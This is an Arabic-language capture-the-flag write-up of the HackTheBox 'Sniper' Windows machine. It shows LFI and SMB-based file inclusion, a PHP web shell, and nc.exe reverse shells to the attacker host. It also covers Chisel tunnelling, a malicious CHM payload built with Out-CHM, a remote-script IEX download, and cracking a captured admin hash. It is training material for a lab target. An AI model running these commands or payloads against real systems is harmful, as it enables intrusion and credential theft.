> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-medium/sniper-hackthebox-writeup.md).

# تقرير Sniper على HackTheBox

{% embed url="<https://app.hackthebox.com/machines/211>" %}

{% hint style="warning" %}
المهارات:

* تضمين الملفات المحلية (LFI)
* تضمين ملف عن بُعد (RFI) (فشل)
* تضمين ملف عن بُعد عبر خادم SMB (تقنية net usershare) (نجاح)
* إنشاء ويب شِل وتحقيق تنفيذ أوامر عن بُعد (RCE)
* تسريب المعلومات (التحول إلى مستخدم آخر)
* التعامل مع Chisel وScriptBlocks باستخدام Invoke-Command
* إنشاء ملف CHM خبيث (Out-CHM.ps1) (تصعيد الامتيازات)
  {% endhint %}

## الاستطلاع

**إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="/files/8db4ac0af01b7b87cbc1af2bb3d9494f81b1d262" alt="" width="563"><figcaption></figcaption></figure>

**فحص اتصال VPN**

تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

<figure><img src="/files/10f31275f70fd9ac72aad3e3b7003f3b1c03eb1a" alt="" width="563"><figcaption></figcaption></figure>

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**

قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.151 -oG allPorts
```

<figure><img src="/files/d707bd92865549c31ba5f90a90a405c8771f1221" alt=""><figcaption></figcaption></figure>

**تحليل المنافذ المفتوحة باستخدام extractPorts:**

استخدم الدالة extractPorts لعرض المنافذ المفتوحة بصيغة موجزة ونسخها إلى الحافظة. (80,135,139,445,496,67)

<figure><img src="/files/1b7034b0b690126b62874f53f1071a6b9457a7a3" alt="" width="563"><figcaption></figcaption></figure>

**فحص إصدارات المنافذ باستخدام Nmap:**

استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted":

```bash
nmap -sCV -p80,135,139,445,49667 10.10.10.151 -oN targeted
```

<figure><img src="/files/8d72ec4c9b5021b38d0991ede0cff904096996f4" alt=""><figcaption></figcaption></figure>

### المنفذ 80:

<figure><img src="/files/63e8bcc1bb15567fdb7a9326ce4b25aa5e086e49" alt=""><figcaption></figcaption></figure>

**تحليل باستخدام `whatweb`:**

استخدمنا `whatweb` لتحديد التقنيات المستخدمة من قِبل خادم الويب:

{% code overflow="wrap" fullWidth="false" %}

```bash
whatweb 10.10.10.151
http://10.10.10.151 [200 OK] Bootstrap[3.0.0]، البلد[محجوز][ZZ]، HTML5، خادم HTTP[Microsoft-IIS/10.0]، IP[10.10.10.151]، jQuery[2.1.3]، Microsoft-IIS[10.0]، PHP[7.3.1]، Script، العنوان[Sniper Co.]، X-Powered-By[PHP/7.3.1]
```

{% endcode %}

## **ثغرة LFI :**

في صفحة تغيير اللغة، كان هناك `lang` معامل لتحميل ملفات PHP مختلفة وفقًا للغة المختارة.

<figure><img src="/files/8ce11f4e3692facb9dd28e8da6b67dd992430ba9" alt="" width="366"><figcaption></figcaption></figure>

اختبرنا ذلك باستخدام ملف نظام محلي:

```url
http://10.10.10.151/blog/?lang=/Windows/System32/drivers/etc/hosts
```

* أتاح لنا ذلك عرض محتويات `hosts` الملف.

<figure><img src="/files/eb9748c34fe14e5b4c545eb2a9b154c7e8e43a0b" alt=""><figcaption></figcaption></figure>

**محاولات قراءة ملف حساس باستخدام `php://filter`:**

حاولنا استخدام LFI لقراءة `index.php` ملف خادم الويب Microsoft IIS الموجود في `/inetpub/wwwroot/index.php`، لكن العملية عبر `php://filter` لم تنجح.

<figure><img src="/files/d8cff92509ba90741985ef1a13da1c5da15b2d4e" alt="" width="563"><figcaption></figcaption></figure>

```url
php://filter/convet.base64-encode/ressource=/inetpub/wwwroot/index.php
```

<figure><img src="/files/fa7b6b74b7e9536cf78a1c9f30a3f41e95a25f3a" alt="" width="563"><figcaption></figcaption></figure>

### تضمين ملف عن بُعد (RFI) (فشل)

#### اختبار RFI عبر خادم ويب بعيد:

حاولنا تحميل ملف بعيد عبر `?lang=http://10.10.14.3/index.html` من خلال توجيهه إلى خادم الويب المحلي لدينا باستخدام Python3.

```bash
python3 -m http.server 80
```

```url
?lang=http://10.10.14.3/index.html
```

لكن ذلك لم ينجح.

<figure><img src="/files/362eb62b0477eba17c7b9a2386d44b6a17332814" alt="" width="518"><figcaption></figcaption></figure>

## تضمين ملف عن بُعد (خادم SMB)

**إنشاء خادم SMB:**

أنشأنا خادم SMB محليًا باستخدام `smbserver.py` وقمنا بمشاركة الدليل الحالي:

```bash
smbserver.py share $(pwd) -smb2support
```

ثم حاولنا تحميل ملف من خادم SMB عبر تغيير `lang` المعلمة

```bash
?lang=/10.10.14.3/share/index.html
```

* هذه المرة، فسّر الخادم ملفنا بشكل صحيح `index.html` ، وعرض محتواه ("Hello World").

<figure><img src="/files/027419804029c48fe19e0afcf5035c8763209b8b" alt="" width="563"><figcaption></figcaption></figure>

**إنشاء ملف ويب شِل بلغة PHP (`cmd.php)`**

أنشأنا `cmd.php` ملفًا على خادم SMB الخاص بنا لتنفيذ أوامر عن بُعد عبر `cmd` المعلمة:

```bash
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>
```

/*/* تنفيذ الأوامر عبر SMB/*/*

```bash
//10.10.14.3/share/cmd.php&cmd=<command>
```

باستخدام عنوان URL التالي، نفذنا `whoami` الأمر:

```bash
//10.10.14.3/share/cmd.php&cmd=whoami
```

<figure><img src="/files/3de3681a994e81cc2810c6f6c82e29e19ebe0aba" alt="" width="563"><figcaption></figcaption></figure>

### شل عكسي (nc.exe)

**تنزيل `nc.exe` للشل العكسي:**/ استخرجنا `nc.exe` الملف الثنائي من الأدوات الموجودة قيد التشغيل في `/usr/share/SecLists/Web-Shells/FuzzDB/nc.exe` ونسخناه إلى دليل العمل.

```bash
locate nc.exe 
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .
```

**الاستماع إلى المنفذ 443:**/ أعددنا أداة استماع باستخدام `nc` للإصغاء على المنفذ 443:

```bash
rlwrap nc -nvlp 443
```

**تنفيذ الشل العكسي عبر SMB:**/ ثم أطلقنا شلًا عكسيًا عبر توجيه `cmd` المعامل إلى ملفنا

```
?lang=//10.10.14.3/share/cmd.php&cmd=//10.10.14.3/share/nc.exe -e cmd 10.10.14.3 443
```

وبذلك حصلنا على شل عكسي على جهازنا.

<figure><img src="/files/13c234f58ef04f67f221ff5ca745a9703396fa05" alt="" width="563"><figcaption></figcaption></figure>

## تصعيد الامتيازات

**البحث عن الملفات الحساسة:**/ بحثنا عن معلومات حساسة في ملفات PHP ووجدنا `db.php` الملف الذي يحتوي على بيانات اعتماد قاعدة البيانات:

* المستخدم: `dbuser`
* كلمة المرور: `36mEAhz/B8xQ~2VM`

<figure><img src="/files/509d2b73739b860f7f467c97856df00659e82841" alt=""><figcaption></figcaption></figure>

**التحقق من بيانات اعتماد مستخدم آخر:**

<figure><img src="/files/319bd726e463cb9a3e103cb9de8872f4e5f8a018" alt="" width="563"><figcaption></figcaption></figure>

اكتشفنا مستخدمًا آخر يُدعى **Chris** بالإضافة إلى المستخدم **المدير**. استخدمنا **CrackMapExec** للتحقق مما إذا كانت `Chris` بيانات الاعتماد صالحة:

```bash
crackmapexec smb 10.10.10.151 -u 'Chris' -p '36mEAhz/B8xQ~2VM'
```

* كان الاتصال ناجحًا.

<figure><img src="/files/5b5acc2cc9b8aaffcb6d144a48155d63b3b73fe3" alt=""><figcaption></figcaption></figure>

**التحقق من امتيازات المستخدم "Chris":**

* لاحظنا أن المستخدم `Chris` ينتمي إلى مجموعة **Remote Management User** ، مما سمح له بالاتصال عن بُعد.

<figure><img src="/files/54cf690b61102fe0189a317b5100c7f210bd20c0" alt="" width="563"><figcaption></figcaption></figure>

/*/* تحليل المنافذ المفتوحة:/*/*

المنفذ المطلوب للاتصال عن بُعد (المنفذ 5985، المستخدم من قبل WinRM) لم يكن مفتوحًا خارجيًا، بل داخليًا. استخدمنا `netstat` للتحقق من المنافذ المستمعة على الجهاز الهدف:

```bash
netstat -an | findstr "LISTEN"
```

<figure><img src="/files/cbc8e1f259b72eaeee3e1f37631c9569483d8ff9" alt="" width="563"><figcaption></figcaption></figure>

## إعادة توجيه المنافذ (5985 WinRM)

### 1. PowerShell

شغّلنا PowerShell على جهاز الهجوم الخاص بنا:

```bash
powershell
```

استخرجنا اسم بيئة Windows بالأمر `hostname`، ووجدنا أن اسم المضيف كان `Sniper`.

```powershell
hostname
```

ثم أنشأنا متغيرًا للمستخدم `Chris` ومتغيرًا آخر لكلمة المرور باستخدام `ConvertTo-SecureString`:

```powershell
$user = "Sniper/Chris"
```

```powershell
$password = ConvertTo-SecureString '36mEAhz/B8xQ~2VM' -AsPlainText -Force
```

ثم أنشأنا كائن `PSCredential` لتمكين تنفيذ أوامر عن بُعد على الجهاز الهدف:

```bash
$cred = New-Object System.Management.Automation.PSCredential($user, $password)
```

**تنفيذ الأوامر عن بُعد:**/ استخدمنا الأمر التالي لتشغيل `whoami` عن بُعد والتحقق من الوصول:

```powershell
Invoke-Command -Credential $cred -ComputerName Sniper -ScriptBlock {whoami}
```

* أتاح لنا ذلك التأكد من أننا متصلون بشكل صحيح بصفتنا **Chris**.

<figure><img src="/files/0e077cad9873f4806bc0baf2b4ed25f05c91db86" alt=""><figcaption></figcaption></figure>

**شل عكسي:**/ للحصول على وصول كامل إلى النظام، أعددنا أداة استماع على المنفذ 4444:

```bash
rlwrap nc -nlvp 4444
```

ثم شغّلنا شلًا عكسيًا باستخدام `nc.exe` من خادم SMB الخاص بنا:

{% code overflow="wrap" %}

```powershell
Invoke-Command -Credential $cred -ComputerName Sniper -ScriptBlock {//10.10.14.3/share/nc.exe -e cmd 10.10.14.3 4444
```

{% endcode %}

<figure><img src="/files/c39caa6c389cc964fe6d01ad26592702f6cb14b9" alt="" width="563"><figcaption></figcaption></figure>

### 2. Chisel

{% embed url="<https://github.com/jpillora/chisel/releases>" %}

**تنزيل الملفات وتجهيزها:**/ قمنا بتنزيل الملفات المضغوطة **Chisel** والملفات، وهي:

* `chisel-linux`
* `chisel-windows.exe`

{% embed url="<https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_linux_amd64.gz>" %}

{% embed url="<https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_windows_amd64.gz>" %}

بعد استخراجها، نقلنا **Chisel** الملف الخاص بـ Windows إلى الجهاز الهدف:

```bash
copy //10.10.14.3/smb/chisel-windows.exe chisel-windows.exe
```

<figure><img src="/files/8c6091e6846545f9ff1c58fca72abd7eb862e4d0" alt=""><figcaption></figcaption></figure>

**إعداد نفق على جهاز الهجوم باستخدام Chisel:**/ شغّلنا **Chisel** في وضع الخادم على جهاز المهاجم على المنفذ 8888:

```bash
./chisel-linux server -p 8888 -reverse
```

ثم على جهاز Windows الهدف، نفذنا **Chisel** في وضع العميل للاتصال بجهاز الهجوم لدينا وإعادة توجيه المنفذ 5985 إلى جهازنا:

```bash
chisel-windows.exe client 10.10.14.3:8888 R:5985:127.0.0.1:5985
```

<figure><img src="/files/d723c6fa1496f4be872081481305ba249cb23481" alt=""><figcaption></figcaption></figure>

**التحقق من المنفذ المُعاد توجيهه باستخدام `lsof`:**/ تحققنا من أن المنفذ 5985 تمت إعادة توجيهه بشكل صحيح بعد التحويل بالأمر:

<figure><img src="/files/1f6794fd92cea05c68864b449cb74f2a9813032f" alt=""><figcaption></figcaption></figure>

**تسجيل الدخول عبر WinRM:**/ استخدمنا **CrackMapExec** لاختبار الاتصال عبر **WinRM** على المنفذ 5985 المُعاد توجيهه:

```bash
crackmapexec winrm 10.10.14.3 -u 'Chris' -p '36mEAhz/B8xQ~2VM'
```

* حصلنا على الرمز **تم الاختراق**، مما يؤكد أننا تمكنا من الوصول إلى الجهاز عبر WinRM.

<figure><img src="/files/d2405bca56b26bc93ab5c0cdddb602fd43015598" alt=""><figcaption></figcaption></figure>

**الاتصال النهائي باستخدام Evil-WinRM:**/ أخيرًا، استخدمنا **Evil-WinRM** للحصول على شل عن بُعد بصلاحيات **Chris**:

```bash
evil-winrm -i 10.10.14.3 -u 'Chris' -p '36mEAhz/B8xQ~2VM'
```

### الراية user.txt :)

<figure><img src="/files/9ce79b70967c708cee3ef3c6b85cdb693c18d785" alt=""><figcaption></figcaption></figure>

**استكشاف الدليل "docs":**/ في جذر **ويندوز**، وجدنا مجلدًا **docs** يحتوي على ملف `note.txt` يحتوي على الرسالة التالية:

<figure><img src="/files/5bae22d5062c2b78336cb4c7cecbf11ae04b8093" alt=""><figcaption></figcaption></figure>

> مرحبًا Chris،
>
> مهاراتك في PHP سيئة جدًا. تواصل مع Yamitenshi ليعلمك كيف تستخدمه، ثم أصلح الموقع لأن به الكثير من الأخطاء. وآمل أيضًا أن تكون قد أعددت التوثيق لتطبيقنا الجديد. ضعها هنا عندما تنتهي.
>
> مع خالص التحية،/ الرئيس التنفيذي لـ Sniper.

**البحث عن التوثيق في النظام:**/ بحثنا عن التوثيق الذي ذكره الرئيس التنفيذي ووجدناه في **Downloads** الدليل ضمن **instructions.chm** الملف.

<figure><img src="/files/578c07293a1b10cddc6f4b5be12584615ec3c545" alt="" width="563"><figcaption></figcaption></figure>

### **إنشاء ملف CHM خبيث:**

بعد أن علمنا أن الرئيس التنفيذي كان يرغب في عرض **CHM** الملفات في **docs** الدليل، بحثنا على الإنترنت عن طريقة إنشاء ملفات CHM خبيثة.

{% embed url="<https://github.com/samratashok/nishang/blob/master/Client/Out-CHM.ps1>" %}

**تنزيل أداة HTML Help:**/ قمنا بتنزيل **HTML Help** واستخدمنا نص PowerShell لإنشاء ملف CHM خبيث

* [HTML Help](https://archive.org/download/htmlhelp/htmlhelp.exe)

```bash
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Client/Out-CHM.ps1')
```

ثم عدّلنا النص لتنفيذ أمر خبيث عن بُعد عبر **nc.exe**:

```bash
Out-CHM -Payload "//10.10.14.3/smb/nc.exe -e cmd 10.10.14.3 443" -HHCPath "C:/Program Files (x86)/HTML Help Workshop"
```

<figure><img src="/files/ea8bad0baf781909ac8b8c30108e201b9955feb5" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/9c2115f7307bfed0ad8fd54d387f5804f2dcd3a9" alt="" width="563"><figcaption></figcaption></figure>

**حقن ملف CHM خبيث في الدليل الهدف:**/ قمنا بتهيئة خادم SMB على جهاز الهجوم الخاص بنا لنقل الملف الخبيث إلى جهاز Windows الهدف:

```bash
smbserver.py smbFolder $(pwd) -smb2support -username jordan -password jordan1234
```

/*/* الاتصال بمشاركة SMB من الجهاز الضحية:/*/*/ من جهاز Windows الهدف، قمنا بتركيب مشاركة SMB ونسخنا الملف الخبيث `doc.chm` الملف:

```powershell
net use x: //192.168.0.190/smbFolder /user:jordan jordan1234
copy ./doc.chm x:/doc.chm
```

**الاستماع للحصول على شل عكسي:**/ شغّلنا أداة استماع على جهاز الهجوم الخاص بنا، بانتظار اتصال شل عكسي:

```bash
rlwrap nc -nlvp 443
```

<figure><img src="/files/5d6cef2cfcc37557467e2201d1ed2fae65520df1" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/aaa4ae49a4a82414242a0c473056a4d84427bf89" alt="" width="563"><figcaption></figcaption></figure>

/*/* المشكلة التي واجهتنا:/*/*/ رغم أنه تمت معاينة ملف CHM، لم نتلقَّ شلًا عكسيًا. ومع ذلك، تمكنا من التقاط **SMB Relay V2** على خادمنا. وقد زودنا ذلك ببصمة مصادقة للمستخدم `المدير`

<figure><img src="/files/239467fa73ad95e33da729054e62f782e599ada0" alt=""><figcaption></figcaption></figure>

#### **كسر هاش المسؤول:**

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

`Administrator:butterfly!#1`

<figure><img src="/files/e128bccd9a24cdde993996300d1576abce80e749" alt=""><figcaption></figcaption></figure>

#### **تسجيل الدخول كمسؤول:**

باستخدام بيانات الاعتماد التي حصلنا عليها، استخدمنا **Evil-WinRM** للاتصال بالجهاز بصلاحية المسؤول:

```bash
evil-winrm -i 10.10.14.3 -u 'Administrator' -p 'butterfly!#1'
```

<figure><img src="/files/a9286b775e77b56d77d63daf6565e6e753ae8d94" alt=""><figcaption></figcaption></figure>

### العلم root.txt :)

<figure><img src="/files/3ab560dc3349afbe8eaad09451c78699665b4141" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/f687fdf4457871b6f5b554ed381170248cad07d1" alt="" width="521"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-medium/sniper-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
